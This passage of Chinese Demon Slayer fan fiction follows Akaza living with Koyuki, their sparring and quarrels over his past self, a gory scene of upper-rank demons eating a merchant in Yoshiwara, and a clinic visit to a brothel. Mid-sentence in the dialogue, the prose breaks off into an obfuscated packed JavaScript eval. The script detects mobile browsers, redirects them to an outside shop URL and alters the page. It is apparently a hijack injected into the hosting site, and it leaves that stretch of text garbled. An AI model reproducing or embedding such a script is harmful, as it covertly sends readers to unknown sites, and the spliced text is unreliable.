“怎么,你是又在想准备这些料理的钱怎么来的吗?不用担心,这回我没有‘威胁’别人。反正鬼也不算人,不是吗?”猗窝座神色自然,就像一个小家庭的男方自然而然地说,他去了银行一趟、刚取了钱,“东京有个混迹在商会里的鬼,我让他上供了我一些钱财。在你们鬼杀队眼里,鬼都是罪有应得吧,既然如此,花他几个钱也不算什么。” 怎么还有鬼混迹在商会里当上富商了? 唉,算了,狛治这次没伤害别“人”就好。 这一桌菜虽然太多了点——但,没事,没关系,她可以。他一番心意,她要好好珍惜! 恋雪心内深吸一口气,面不改色地双手合十,镇定微笑道:“没什么,我就是太惊喜了,没想到你会特意为我准备早饭,谢谢你,狛治。那我就……开动了。” 半小时后。 不行了真的太多了,早知道以前和炼狱先生还有蜜璃前辈一起修行时请教一下他们怎么多吃几口的诀窍…… “你吃不下的话,就算了吧。” 餐桌那头,猗窝座深粉色的长眉微微皱起。 上弦之鬼显然没预料这一桌菜对一个普通食量的人类女性来说,完全是汪洋大海。 暗中看着她时,他曾留意过她斩鬼的任务间歇都吃些什么,不外乎是随身带几个饭团,草草了事。鬼杀队就给剑士吃这些么?难怪她一直这么清瘦。如果由他一手把持她的饮食,他一定在她面前堆满山珍海味——每顿就吃那么一点点,怎么锻炼体质,更好发挥她的才能呢? 好不容易有机会“操纵”她饮食的鬼,第一天便纲常独断、大权独揽、以鬼之腹度人之腹,为她送上了堪比盛宴之席的一大桌菜。 然而她吃不下。 他心里有一个声音隐隐在说,他给她带来了负担。 恋雪不想让他失落,道:“没事没事,留着下一顿吃吧。家里有个纱罩,我找出来盖上……” 猗窝座面上却闪过一丝不解:“不用了,你为什么要吃剩饭剩菜?吃不完的话,扔掉不就好了,别吃不新鲜的东西。” 他微微别过头去,视线看向空白墙面:“你一顿能吃多少,告诉我。” 言下之意是,他是要操持她每一顿餐食吗? 虽然有些哭笑不得,但比起打开门看到同住的猫将猎物在门口排开一线般的好笑,她心中,更多是感动。 那双静水般清婉沉谧的瞳,泛起闪着微光的涟漪。 “我饭量不太多,一碗饭和一两个简单的菜就够了。” 一碗饭,一两个菜,这也太少了。更别说,她家中的餐具基本都是巴掌大小。说是一碗,其实是一小碗吧。他大可以把她那些过于玲珑的碗碟替换掉,这样,她就可以多吃点,然后…… 冥冥中,却有一个无聊的想法暗地叩着他的心。 一百年多前,那个名为狛治的人类是否也曾这样照料过她? 乡下小道场的学徒,再怎么努力也不过是,让她在贫瘠的日子里得到一点聊胜于无的慰藉。想必连吃上一顿盐煮的小鱼小虾,二人也要开心上许久。多么、多么可悲。 可悲,可笑。 幸好他已经摒弃那无能的人类之躯。 不可一世地,猗窝座弯眼笑道:“你以后还是吃多一点吧怎么样,吃这么少,和我过两招就会立刻被打趴下了。” “诶?” “你该不会以为我和你待在一起,就只是每天和你聊聊天、玩人类的过家家游戏而已吧?” 原来还要陪练呀! “没问题,那就晚上怎么样?刚好,我们家有个小院子。” 她起身,将已空下的碗碟一件件叠好—— 背后却传来一句:“你干什么?” 面对如此不客气的发问,恋雪礼貌依旧:“我没干什么,只是打算去洗碗。” “用不着,待会我把它们扔掉就算了。” 恋雪有点无奈:“这些餐具看起来很名贵哦,直接扔掉不太好吧猗窝座先生。” “真麻烦……” 明明已经是早上,晴空明朗,但这坐落在夏日草木的小宅内,仍是一片窗帘围合出的昏暗。 一室幽暗,唯闻水流声和钟走声。此时此刻,在这小小的阴翳堡垒中,那漫漫流过的水声分外响亮。 恋雪实在不好意思,走过去,将刚从泡沫中捞出来的一只碗冲水、擦干。 “怎么好意思让猗窝座先生又给我准备早饭又帮我洗碗呢,还是我们一起洗吧。” 那双洁净芳白的手,立刻沾上了密密的小泡沫。肥皂块淡淡的柠檬香,在她纤长手中弥漫开来。 他比她高出许多,目光随意投下,一小截被淡粉衣领簇拥着的秀颈便映入他金色眼中。一层浅浅樱云,早已在她珍珠白雪般的颈上晕染开来,樱桃粉。她情怯的腼腆,她微小的喜乐,他尽收眼底,只要舌尖一动,便有许多戏谑逗弄语言倾泻而出,但他,一句话也没说。 她真是个简单的女人。只要帮她一点小忙,她立刻感动不已,这样单纯、这样简单,像一块透明的水晶,她的心情,他一眼就能看透。 但,为什么……为什么这么容易就感动,为什么容忍他的讥笑和不屑,为什么他说什么、他提什么要求,她都要回应。为什么对人类都向往的荣华和力量不为所动,却为了和他一起洗碗这种无聊的事而高兴。水晶的每一面都折射出静谧柔润的光,那单纯的透明因那纷繁晶面,逐渐构成了神秘深邃的幻彩。 游戏挑逗的话语都在喉中滚动咽下,他想说的是,靠近我的时候,恋雪,你心里想的是谁? * 一连数日,他放任自己浸淫在这人间的庸俗生活中。 那位大人也没有任何动静。 和她在一起时,意外的轻松。仿佛脱离了鬼血的束缚,远离了鬼王悬在黑夜中天监察万物的眼睛。 是要给身为上弦的部下一点甜头尝尝,还是那位大人懒得探看下属的生活,他懒得去想。 那位大人允许童磨玩人类的恋爱游戏,或许在他眼里,自己不过是步童磨的后尘。 思及此处,猗窝座心中泛起一阵阵恶心。 他和她……并不是那种轻浮、低级、恶心的关系。 在他沉醉狂欢的世界里,她清透而真实。 他的底线,被她一点点试探、逼退。无所谓,他权当是容忍她——甚至乎,容忍到她要携他上街。 “狛治,你说你的衣服是,鬼的血肉变幻出来的吗,这岂不是……” 这和没穿衣服有什么区别…… 恋雪委婉建议:“我带你置办几身行头,好么?这样,如果你以后要在人类的城市行走,也方便一点。” 钢筋铁骨的上弦之三,想拒绝一个年轻女子的提议,轻而易举。 但心念一转,他有了更坏的念头。 和服、洋服,一间一间出售人间画皮的衣装店如赏花游园般走过。男子的服装,高挂阁中,多是沉沉的黑白灰褐蓝。 终于,出现了稍微合他眼缘的衣服。 “我要这个。” 沿着他戏谑的视线看去,是一套黑底的男式和服,但大片大片花纹泼洒其上,深桃红的夕颜,琥珀金的烟花,是完全不会出现在男装中的浮夸浓丽色彩。 她带他来买人类的衣服,不就是想让他融入人类社会吗。如果他非要选一套极其出格的,倒看看她有什么反应。 然而又一次出乎他意料,她眼中升起的,是小小烟花绽放般的开怀。 仿佛他选了这么一套浮夸古怪的衣服,她还多开心似的。 “是喜欢这一套吗?” “可以呀,很华丽,很适合猗窝座先生。” 恋雪是真的为他高兴。为他在她面前直言他的喜好,为自己终于有能力满足他的心愿。 这开天辟地、石破天惊、曲高寡合的华丽之作居然遇到了它的知音,老板大喜过望,一时间可谓把二人奉为座上宾,滔滔不绝讲起他染织的理念,什么和洋折衷、什么现代主义,把他在欧洲留学的经历倒豆子般一股脑倒出来——直到猗窝座忍无可忍,瞪了他一眼。 恋雪打开钱夹:“那边好像还有几套风格类似的,也一起包起来吧,我们都买了,谢谢您。” “这、这……女士,您真是太有品味了,我这就差人把这几套整烫折叠,给您包起来……” 那经营和服店的艺术家,真想长街相送这知音——只可惜她身旁的丈夫抑或是恋人,威压实在太强,令人不敢造次。 一转眼,猗窝座手中已多了五六个风吕敷外裹的桐木箱。 不明就里的路人,只当是女方购入新装,男方鞍前马后地捧着那包裹。 真相全不是这样。 是她一手装扮了他。 他跟在她身旁,漫不经心,又开始贬低着她同族的文明:“人类的衣服,你买再多我也不一定会穿。” “不穿也没关系,你喜欢的话,就买下来放家里收藏也可以。”她对他一微笑。 不知不觉,漫漫山道走到尽头,那小宅邸已在眼前。 他以为她不知道,其实她一清二楚。 每天每天,屋子里都会出现新摆设、新家具,淡色调的,素雅的,静美的。件件造价不菲。难为他,因她的喜好找来许多他不感兴趣的器物。 连日的相处下,之前莫名其妙就加一的黑化值,降低了一点。 嗯,降了一点,真的就是一点,回到初始值75了。 为了降低他的黑化值,她自认已经十分努力。和他上街,看到有人筹集赈灾款,她立马携着他的手,上前捐献一点心意;和信子他们做义工回来,在餐桌上和他相对,她也润物细无声地,将一日的事迹娓娓道来;有小猫误闯他们的庭院,她便推着他,请他一起来喂猫——唉,多管齐下,居然才降了一点。 像一只勤劳的小蜜蜂辛辛苦苦一整天,发现才采了一滴蜜一样。 好感度倒是增长得很快,已然59。 之前突破50的奖励是又抽一个所谓的据点碎片,多亏了狛治添砖加瓦,离素流道场重建之日越来越近了…… 只59之后,再无进展。 夏夜,庭中开着绣球、栀子、花菖蒲、鹿子百合。 她回头,笑着看他:“为了感谢猗窝座先生你今天愿意和我去外面逛逛,等你放好那几套衣服后,我们就在院子里‘磨砺’一下吧。不过要小心一些,不要伤到院子里的花草树……” 花草树木。 还没等她说完,那几个桐木箱竟然已立刻安安稳稳放在了缘侧。 “快点过来。” 月下,他早已对她摆开起手式,金瞳泛出兴奋色泽。 * 【叮,攻略对象欲望值+1,目前欲望值22。】 【叮,攻略对象欲望值+2,目前欲望值24。】 【叮,攻略对象欲望值+3,目前欲望值27。】 【叮,攻略对象欲望值+5,目前欲望值32。】 许多次,他的呼吸都如潮热的风喷在她的耳廓。 他已尽力克制。但——实在等得太久,十年,百年,千年?数不尽的前尘与前世,或许一百年的光阴,都是为了等她。他全身的血液都在沸腾,心如焚。道德,善念,本来就没有的东西,如何能再抑制他。贴近,再贴近,寸寸收紧,无限侵袭,他的拳,转眼从她格挡的双臂下越过,男人和女人亲密无间的方寸里,那拳优游松开了,改为佻挞的手,食指勾起,轻轻刮过她的下巴。 很明显,她也收着她的力度。因为只是切磋的对练。 太轻了,毫无力量。 简直像在抚摸他的身体。 “不如再用点劲吧,这样软绵绵的,如果碰到别的上弦,你很快就会败下阵来,”他当真强硬地掰开她格挡的手,拽到、贴到自己脸上,挑衅地,享受这千金一刻的抚摸,“你要庆幸你碰到的是我。” 恋雪要抽出手来,但斗之鬼的铁腕转瞬收得更紧。 贴得太紧,她已经能感受到她掌心底下,他青灰肌肤滚过一阵战栗与抽搐。 这实在是……实在太超过了。 从刚才开始,狛治欲望值的提醒就一直叮叮当当响个不停。 才和他切磋了不到十分钟,已经涨了十点。 不是说友谊赛、点到即止的交流吗! “狛治,你先把我的手放开怎么样……” 他金眸灼灼,倒打一耙:“你自己不使劲,被我抓住了还怪我?” 到底,他还是放开了她——仅仅是松开锢住她手腕的手,二人身躯的距离,半分未减。 “恋雪,你输了。” “被对手越过防线,攻到门面上,如果是实战,早就输了。” 他指出她的不足,却不是为了责怪,而是——“你再和我多对练几次,一直、一直比试下去,我可以指点你,我教你!”他脸上,兴奋之色从未退去。 恋雪无奈了。 都怪那个欲望值提示一直在响,完全是干扰她。 狛治哥哥,再和你多对练几次,一直、一直比试下去,你的欲望值很快就要追上好感度了吧?这可不行……总觉得会发生很不妙的事情…… 虽然,她并不介意他对她有,呃……还是循序渐进好一些。 “抱歉,我有点累了。”她施施然一笑。 “什么?” 她往屋内走去,猗窝座不依不饶地,跟在她身旁一句接一句:“你说什么胡话,怎么就累了,你是这几天没休息好吗,喂,我没吵到过你睡觉吧,还是你吃的东西依然不够有营养……该不会,你只是找个借口糊弄我?”一如游戏未尽兴的大型猫科动物,说着说着,金瞳已危险地眯起。 “随便你,你爱怎么样怎么样,是你错失了一个得到我指点的大好机会。”他满不在乎地哼笑一声,尾调却已明显地下降。 随便她。 她是什么时候开始有前世的记忆,她是否一直靠她的回忆在研习素流的武艺?如果是这样,直接仰赖他的提点,将素流的境界一升再升不好么? 那头,她却已在卓袱台旁驻足。 “猗窝座先生,你用了我给你的画本呀?我能看一下吗?” “不能。”仿佛赌气一般,他戏谑笑着,上前跨了一步,将那本子提起,举过她头顶。 但下一刻,他又道:“你想看的话,我倒是可以现画一幅给你看。” 上弦之三信手拿起一黑一红两支彩色铅笔,唰唰描画几下。 “尽情欣赏吧!”他笑容妖异。 恋雪真是哭笑不得。 画本被他举起,正对着她摊开,上面画的,是一堆白骨骷髅,血色成河。 是因为被她驳回了继续切磋的邀请所以有点生气了,故意画这种恶作剧的画来吓她吗? “画得挺好的呀,这么短的时间能画得这么生动,猗窝座先生真有天赋。地狱图,也……也算传统题材的一种吧。” 她很“客观”地点评着。 然而缘侧外,一阵风过,哗啦啦地,将那画本再吹开几页。 芳白纸页上,是一个年轻女子低垂的侧颜。 她一时愣住了。 他也是。 猗窝座一个字也挤不出来,立马要把画册合上,但她柔和的手,已轻轻将那一页按住,道:“画得这么好,为什么不愿意让别人看呢?” “你画得真的很好,比画中人本人还要好看,‘她’明明只是个再普通不过的……” 画纸虽然并不薄,但下一页的图画,已隐隐穿透而来,浮在她花瞳之中。因为他用了大量的黑。黑发,黑睫,乌丽云鬓,纤长鸦睫,衬托着一朵雪莲般白容颜。下一页,仍是她的脸。有正脸,有侧颜,有背影,笑眼乌浓的,微微打盹的,背过身去只露出一截纤秀颈项的。 在那朦胧的、下一页的、未揭晓的肖像前,她的脸一点一点红起来,直到完全红透。 终于,终于,他也干巴巴地挤出几个字来:“‘她’不普通。” “是吗,那你觉得‘她’是一个怎么样的人……”原来她的脸的确可以更红、更红,像披了一层粉红的纱。 他竟找不出语言来形容‘她’。 美丽?用她的外貌概括她,失之庄重。 端庄?她也有很灵动的一面。 柔弱?他一直知道她的天赋。 强大?如果她真的足够强大,为何仍依恋往昔,寻找寄托。 他什么也说不出来。 还是她将一室沉默打破:“如果你不想回答的话,我可以问另一个问题吗?” “狛、猗窝座先生,你觉得,你和‘她’是什么关系?” 好感度一直停留在59,再无动静,也是因为这个原因吧。同居已久,他虽时时逼近她,攥她的手,抚她的脸,更进一步的举动,恋人间的举动,亲吻、拥抱,却是再也没有。他……没有思索过现在她和他到底是什么关系。是没想过,还是不愿去想? 恋雪面对的,仍是鬼的沉默。 她因为紧张,下意识说出来的是‘狛治’这个名字,他并非看不出来。 因为紧张,所以更想在他身上找回旧日的熟悉感。 多日来环绕着他的细密的喜乐,逐渐逐渐散去了。 “那你觉得你和我是什么关系呢,你想和我是什么关系?” “和你有这一层‘关系’的人,是狛治还是猗窝座,你能说得清楚吗,你能给我一个明确的答复吗。” “我……” “你说不清楚。” 恋雪轻轻握着拳,抵在领口上道:“你和他不是同一个人么?你就是狛治,狛治就是你,我一直都爱着你呀……” 猗窝座嗤笑一声。 真是不会看眼色啊,这时候,还要在他面前提起“狛治”这个名字吗。 他心中的恶意,倏然膨胀到了极点。 猗窝座笑语轻蔑:“如果我说,我觉得我和他不是同一个人呢。” 素山恋雪,你说不清楚你爱的是谁,是什么。 你爱的是我正使用的这具躯体,因为它曾是他的皮囊,你爱的是你想象中的我,因为你时时将他的影子叠加在我身上。 素山恋雪,你是一个分不清前尘今生的女人,你是一个曾豢养过一头雄鹿的女人,即使它已经被抽骨扒筋,已经被制作成一把怒张的弓,你仍要不知死活地上前触摸那一碰就会划伤的弓弦,想听一张锋利的弓再发出往日温和的鹿鸣。 狛治是……狛治是一个早就应该逝去的软弱人类的虚影,狛治是夹在你我之间的,杂质。 而你爱着的正是一个影子,你不能剔除不能过滤这杂质。 “不止如此,我还非常地、非常地,讨厌他。连带讨厌你在我身上寻找他的影子。” 连带讨厌你依然恋慕着他的心。 这一次,你又要说什么呢,又要怎么反驳呢,是和之前一样,又大言不惭地说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17067535|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,猗窝座先生,如果你对我还有一丝感情的话…… 他等待着。 等着看她又要说出什么花言巧语来。 “你觉得你和狛治不是一个人,你还很讨……原来是这样,我知道了……” 快说吧,说出你那些狡猾的语言,灵动的语言,那些你要分担我的罪孽天荒地老至死不渝的蠢话—— 但久久地,久久地,他没能等到她的下一句。 他暗金的视线,仿佛很随意地下投。 亦虎亦豹的鬼的眼睛里,是一个女人潮湿的眸。 她见识过他的恣睢,洞视过他去掉容颜的残暴,即使如此,她依然、依然看着他,一直,永远,绝不会将她纯洁坚定目光移开。 至少在这一秒,仍是看着他。 但已有无限悲伤与苍凉在她花瞳中积聚,像一汪山野芳草间的湖泊被迫承受着海域的暴雨。 很快,她闭上了眼,偏过脸去。她总望着他、向他诉尽柔情的依依目光,顿时与他相隔万里,迢迢遥远。 仍是那侧影。那画中的侧影。无数次与她并行时,她留在他眼底的侧影,一抚画页,便落入他掌心的侧影。沉静的,羞涩的,情怯的,喜乐的,微笑的——垂泪的。 鬼总是浮光跃金般闪烁着的金瞳锋芒不再。 他亲力亲为布置起来的她的家,挂轴、插花、摆设,沙发、书桌、箪笥,白瓷的吊灯,玻璃门的小书箱,名家山水的古屏风……他得意地打量着她被它们围起时,一切都流光浮泛,但此刻,全都蒙上了寂寂无声灰影,镜花水月,触而消散。 他僵硬着,动用浑身力气才微微张开唇,正要吐露他的话语—— 然而他还是,什么也说出不来。 到底,是她抬手擦去了脸上泪痕,勉强地对他笑道:“对不起,我以前,我真的,我……你对自己身份的认同,是否……我以前没有想过这些事情,我不知道猗窝座先生你会这么想……我……” 她尽力将哽咽止住:“过几天我要和朋友们去游郭一趟,猗窝座先生你一个人在家可以吗?” * 天是鸦髻黑,脸是铅华白。 黑色和白色都是其他颜色。 其他颜色,在此地,在这人造的欲的乐园、伫立地表的地下世界,唯有一个归宿——隐没在艳艳红中。 朱砂红,华灯红,艳帜红,兔眼红,狐狸红,鹤顶红,点唇红,妆成红,焚诗红,桃花红,红豆红,牡丹红,枫叶红,秋凋红,罂粟红,金鱼红,恨血红,地狱红。 曾经的曾经,也是女儿节雏人形的小衣装红。 三味线弦音哀婉,如绵绵不去的阴雨,在艳色深处飘荡。 那缠绵小调中,却忽然掠起一记刚猛拳风,将京极屋最豪华房间的梅花纸门破开。 “谁?!” 正在“进食”的花魁猛然回头。 “是您啊,上弦之三大人。” 堕姬将唇边鲜血抹去,施施然地,松开她的食物。一个装扮儒雅的儒商。 那中年男人还没断气,肚腹破开,内脏鲜红地流了一地,喉咙里还在勉强发出嗬嗬气声,尽管已看不清任何东西、听不清任何语言,仍循着门外传来的脚步声,投去求救的目光。 很可惜,来的是女鬼的同类。 在丛丛幽深诡异的红中,他也是赤狱红莲般深粉红色。红莲颜色中混着一抹豹瞳的暗金。 “你吃客人?” 这蠢货……在游郭吃客人很容易被发现,那位大人并不想麾下的鬼们过多暴露踪迹。 他本来已极其不悦的心,因为同类的愚蠢,更加、更加不耐烦。 “吃了那么多游女,我换换口味怎么了?这家伙发酒疯一直说什么要收我当妾室,嗡嗡嗡像苍蝇一样,烦得很,我干脆把他吃了。” 堕姬扶了扶发鬓,懒洋洋抬起妆成艳红色的眼尾:“不用您担心,哥哥会为我收拾好的。” 哥哥。 真正的上弦之六,妓夫太郎。 这对鬼兄妹,一个卑鄙地用毒,一个喜欢吃游郭里的游女,如果不是为了……他根本不想踏足他们肮脏的巢穴。 “您有何贵干呢,是那位大人有什么吩咐要您和我们一起完成吗?”堕姬眼中亮起艳丽神采,虽然说无惨大人很少让鬼联手,但如果是无惨大人下达的任务,她会和哥哥认真完成的—— 猗窝座神色冷下:“不要吵,闭嘴。” “鬼杀队里有个叫素山恋雪的剑士,如果在游郭遇到她,不要靠近。她身上有那位大人需要的东西,要留着把她转化成鬼。” 他传送到堕姬脑海中恋雪的面影,只有短短一刹。 若非她要陪那群弱者到游郭里来,他根本不想有其它鬼知道她的容颜。 那群学生愚蠢的计划一定会惊动这两个鬼,他是可以跟着她一起来,但,呵,她想要他跟着来吗? 那天之后,二人相处依然如初。她仍是叫着他猗窝座先生,神色自如地和他谈天,陪他切磋,和他一齐在市井山道漫步。然而她轻柔的臂,再也没有像往日般亲密地挽上来。偶尔,他观察到她惯性地想贴近他亲昵,喉结滚动一下,正要也靠近她一步,顺势让她如花藤般攀上,但旋即,她已将手收回,像做错什么事一样。 初来时他嫌弃她的宅邸太小,不够气派,如今,反而是因为它面积不大,他才依然能和她被困在同一客厅中,每日相对。 当然,他的许多心情,是只有他自己知道的。 似乎是嫌地上食物挣扎的气声太吵,堕姬不耐烦地,踩碎了商人的喉咙。 洁白昂贵的足袋溅上一片淋淋鲜血,如密密层层红梅。 啊,死了。她本来还想吃新鲜的,活吃。都怪上弦之三忽然出现在这里…… 这家伙一会阴沉一会皱眉一会又松开眉头,真是莫名其妙。 上一次看到对方,还是自从这个人打败上一任上弦三取而代之后。一百多年不见,他还是那么……那么让人不舒服。斗之鬼,沉默、阴冷,乍一看是个闷葫芦,但其实和脑子有病一样——上一次也是第一次见面,因为哥哥用毒,他居然把哥哥狠狠揍了一顿,完全是个不可理喻的疯子! 幸好,他很少像其他上弦一样喜欢读心…… 堕姬压下眼中隐隐的惧色,心想一定要撑出上弦六的架子,因此傲然地抬眉: “这个任务我也可以完成,不就是把区区一个人类转化成鬼吗,我一定会让那位大人满意!” 什么? 猗窝座从一片神思中回神。 这个妓夫太郎的附庸,居然敢这么和他说话。 还说,她是区区一个人类。 上弦之三的语气,已浮上一层阴冷的暴戾。 他金瞳沉冷:“你听不懂我的话?” 而被无惨“哄”着,被兄长溺爱保护着的堕姬,即使已经察觉到危险,也依然,不太会读空气。 “啧,‘您’放心好了,那个什么素山只是甲级剑士,连柱都不是,我对付她可是绰绰有——” 很快,她的话顿住了。 当然,是在猗窝座出手之前。 “妹妹,猗窝座大人的意思是这是他的任务,让我们不要和他抢功劳,不要摘他的桃子。” 房间里响起沙哑古怪的男声。 名贵的友禅染裂帛一隙,红的艳丽中忽然破开一道阴森的绿。 湿苔绿,蛇鳞绿,螳螂绿。 花泥绿。 花魁美丽的皮囊下爬出一个枯瘦古怪人形。苍白皮肤,漆黑斑点,黑绿渐变乱发。很快,那诡异苍绿影子已病态地佝偻着,护卫般站在堕姬身侧。 梅红骇绿。 “真是的,哥哥你干嘛忽然跑出来……”堕姬直起腰,皱着眉头,反手摸了摸脊背上已迅速合拢的血肉,“这套振袖我很喜欢,你忽然冒出来,背后的织物都裂开了。” 妓夫太郎扯扯嘴角。 还能为什么,当然是怕你一时嘴快,在这疯子面前说错话。虽然他不杀女人,但不意味着他完全不和女人打斗。笨蛋妹妹,你没看到你说着说着、他额头上的青筋都爆出来了吗? “猗窝座大人,不杀那位大人要留着变鬼的剑士,我和我妹妹已经清楚了。您还有什么吩咐吗?” 猗窝座很是嫌恶妓夫太郎。 但见他还算识相,猗窝座懒得再看他们二人一眼,半秒之内,已跃出窗外,在游郭的夜色中消失。 堕姬抱臂皱眉:“什么啊,真是莫名其妙的家伙。” “上弦里只有童磨大人最正常,其他上弦都不知道在想什么,一个个奇形怪状,丑得要死。” 玉壶,半天狗,丑得她多看一眼都觉得是一种残忍。 剩下两位么——仅仅论外表,猗窝座“大人”确实不算丑,但因为他上次一句话不说就把哥哥打得吃了好几个人才能恢复,给他减到负分。黑死牟大人虽然只是眼睛多了点,其他都很端正,但看那个战国老古董一样的性格,也减到零分。 她心内逐一点评一众上弦时,妓夫太郎已挠着眼皮。 他又用那阴阳怪气的语调开口:“我也很怪异很丑陋吧,你对哥哥我有什么看法?” 一根筋的堕姬,甚至连奉承一下兄长才不丑都不会。 她直言直语:“哥哥虽然不算好看,但比那几个怪胎还是顺眼多了。” “对了,这个人给哥哥你吃吧,他死了不新鲜了我不吃了。”花魁又指指一地尸骨,在游郭修行色相已久,俨然是贵女一般的姿态。 “唉,真是浪费啊,才吃了这么一点点就……每次都把最柔嫩最新鲜的内脏先吃了,留一堆粗糙的血肉和骨头给我啃。” “哥哥最宠我了,吃点我的剩饭剩菜又有什么关系?” 华艳傲慢睥睨男女众生的花魁,居然在和兄长撒娇。 堕姬继续抱怨着:“也不知道那位大人看重那个鬼杀队的女人什么,怎么会留着一个鬼杀队的家伙……” 一回头,高高在上的花魁妹妹已指着妓夫哥哥,拔高了音调。 “啊,真是的,哥哥你也说说话吧,不然看起来像我一个人在自言自语一样,你每次都一副高深莫测阴惨惨的样子,烦死了!快说你有什么看法!” 妓夫太郎扯下食物一条臂,嘎吱嚼着骨头。 他随口道:“我没什么看法。” 如果无惨大人真的十分看重那什么素山恋雪的话,早就给其他上弦都发布相同的命令了。就拿那个灶门炭治郎来说,所有上弦都收到了见到就杀他的命令。 他这可爱妹妹的脑子真是有点不灵光,这都想不明白。 八成只是上弦之三自己看重那个女人而已吧。 可能是那个疯子又找到了一个合他标准能陪他磨炼的剑士,而这次刚好是个女的。抑或,是和童磨大人一样,他也会豢养人类的女性当宠物。 妓夫太郎边吞食人肉,边随意地想道。 上弦之三对那个剑士有什么想法,和他还有妹妹没什么关系,不杀那个女人也可以,只是少吃一块肉的事。 他鬼的生涯中,最重要的是和血肉相连的唯一亲人,在这游郭的狩猎场中,这屠宰场里,破坏别人的幸福,割开他们的喉咙…… 16.吉原的世界 好想长大。 只要再长大一些,当上游女就好了。当游女,就能有白米饭吃,还有漂亮的衣服穿,还能一直和她唯一的家人待在一起。 只要努力,说不定还能出人头地,能当上花魁。 穿着漂亮衣服的花魁。前呼后拥的花魁。被包围在赞美声和歌声中的花魁。 长长的美丽的花魁道中,载歌载舞,看不到尽头。缺乏自然草木,没有樱花的吉原游郭,只有在花魁道中时才有那么盛大的花开之美。 多想,也走上那条没有尽头的美丽的路…… * “您是……噢,红十字会的医生,好的,快请进吧。” 吉原的医馆寥寥无几,诊费也十分高昂。游女屋的例行体检,也不过是让游女们在医馆面前排长龙,草草检查一下有没有怀孕和暗病而已。 除非是摇钱树病倒,游女屋楼主很少会请医生上门。有什么病是吃几副药治不好的?治不好的话,大不了就…… 因此明治维新之后,进驻江户的红十字会例行的免费卫生检查,是下级游女们难得的接受正规看诊治疗的时刻。 楼主身后,嬉笑着走过几个结束了一晚上的“工作”的女郎。 洗去铅华、抹去画眉,胭脂下是一张张略带疲惫的脸。白天的吉原和夜晚的吉原,是截然不同的两张脸。白昼的吉原游郭,就是这样一张透露着憔悴的女人的脸。 几张年轻面孔中,有一双微微上挑的眼睛和她梅花形的瞳对上。 这双眼睛的主人,即使带着微微疲态,也难掩其芳华正茂之美。 那游女打趣:“好年轻的医生哦。你们是那群外国老头的助手吗?哈哈,怎么还有女孩子,女孩子进到游女屋里来很危险哦,到外面看看演唱和祭典就好啦。” “这几位是护士。”几人中为首的修淡声介绍道。 美丽的女子,像一朵明艳山茶一样笑起来:“噢,是护士小姐,我们很少在游郭看到外面的女人呢,如果刚刚说的话有什么冒犯的地方,抱歉啦。” 楼主道:“舞,你要不要让大夫们给你……” 楼主看向“舞”的眼神,似乎很是体贴。 如何能不体贴? 这花国青春的女将、即将继任的花魁,前两天刚顶着高烧接待了一个财团的老爷。这新长起来的摇钱树,万不能有失。 “不必了,我精神好得很。难得来了医生护士,就先给住在一楼和二楼的姐妹们看看吧。”那名为舞的女子虽仍是笑眯眯的,但话中已有些夹枪带棒。 一转身,那轻薄的裙摆回旋着姹紫嫣红花纹。她在众花簇拥下上楼去。 “舞那孩子就是有点高傲,浅野医生别介意。” 楼主状若无意地补充一句:“她是我们未来的花魁。” 浅野伯爵的儿子,刚才将一行人引至此处的中间人早已将修的身份透露给楼主。 这样的贵公子,要是能给他留下好印象的话,说不定能发展成大客人呢。 医生怎么了,医生不也是男人? 是男人,就会…… 楼主露出一个和蔼笑容:“各位且随我去楼上看看吧。”住在楼上拥有单独房间的,多是高级别的游女,她知会一声,她们便知道要在这个伯爵少爷面前作出捧心蹙眉的盈盈病弱态。 修身旁,扮演着护士的诗社社长百合出言拒绝:“不用了,我们就先从一二层开始例行检查。” 楼主心内叹气。真是多余的插话。 她仍挂着那和善笑容:“也可以,几位这边请吧,我们已经把看诊的屋子布置好了。小心脚下。” 游女屋的一二层,住的都是下级游女。 下级游女大多数已到二十四五的年纪。 二十四五岁,在吉原以外的世界正当年轻,但在吉原的红宇宙中,已是夕阳残景了。 没有华丽的装潢,也没有流光的衣裙,大通铺的房间,一间间小房子走过去,像挤满金鱼的鱼缸。 廓内闲置房间临时隔断出来,作为看诊之用。不止这间东云屋的游女,临近的游女屋得到了各自楼主的允许,也有过来问诊的。 “大夫,您说我该不会得了肺痨吧?” “不是,只是感冒严重了一些,我们随行带的药箱里有阿司匹林,给你开几片就好了。” “哦哟,幸好……要是得了痨病,可就要被赶到齿黑渠和罗生门河岸附近了!”那松了一口气的游女,转而嬉笑起来,稀松平常地说起某一处更黑暗的归宿。 都说,游女到一定年纪可以赎身。 在这香国这众芳国度过“绮丽生涯”后,便可以洗尽铅华,择一个良人,当一个寻常的主妇,洗手作羹汤,作饭团、作蛋卷、作红豆年糕汤……制作着这俗世中种种正常家庭生活的象征,享受欢喜而静谧的团圆。如果不想赎身,也可以留在游女屋继续当“遣手”、“香车”,到时候,既不用接客,也有年资有地位——市井小说里,都如是写着。 但事实当真如此吗? 一众游女,陆陆续续已看诊完毕。 因为已看诊了一整日,其他同学已经先行去外边的茶屋简单吃一顿晚饭。这房间内,只剩下修和恋雪二人正准备收拾器材——当然,本来信子看修居然有机会和恋雪独处,也要留下来“看”着,还是恋雪见她一整天什么都没吃,劝她先去吃点。 正好,她也想和浅野先生说清楚一件事情。她要请他别再对自己示好,她早有了恋人。 夕阳西下,室内一片幽静。 然而还没等她开口,修已转过头来,似乎是想好了什么风趣的话题,要说与这心仪的女孩听——忽地,门外传来几声虚浮的木屐声。 最后的最后,还有一个来看诊的游女。 她很瘦。像一缕芳魂附在骨架子上,异常憔悴。 乍见如此消瘦的女人,一时间,修眼中流露些许惊愕无措。 还是恋雪快步上前,请她进来。 脸惨白,颧骨微微耸起,饶是如此,恋雪和修也看得出眼前的游女和众人在门口遇到的舞,很有几分相似。 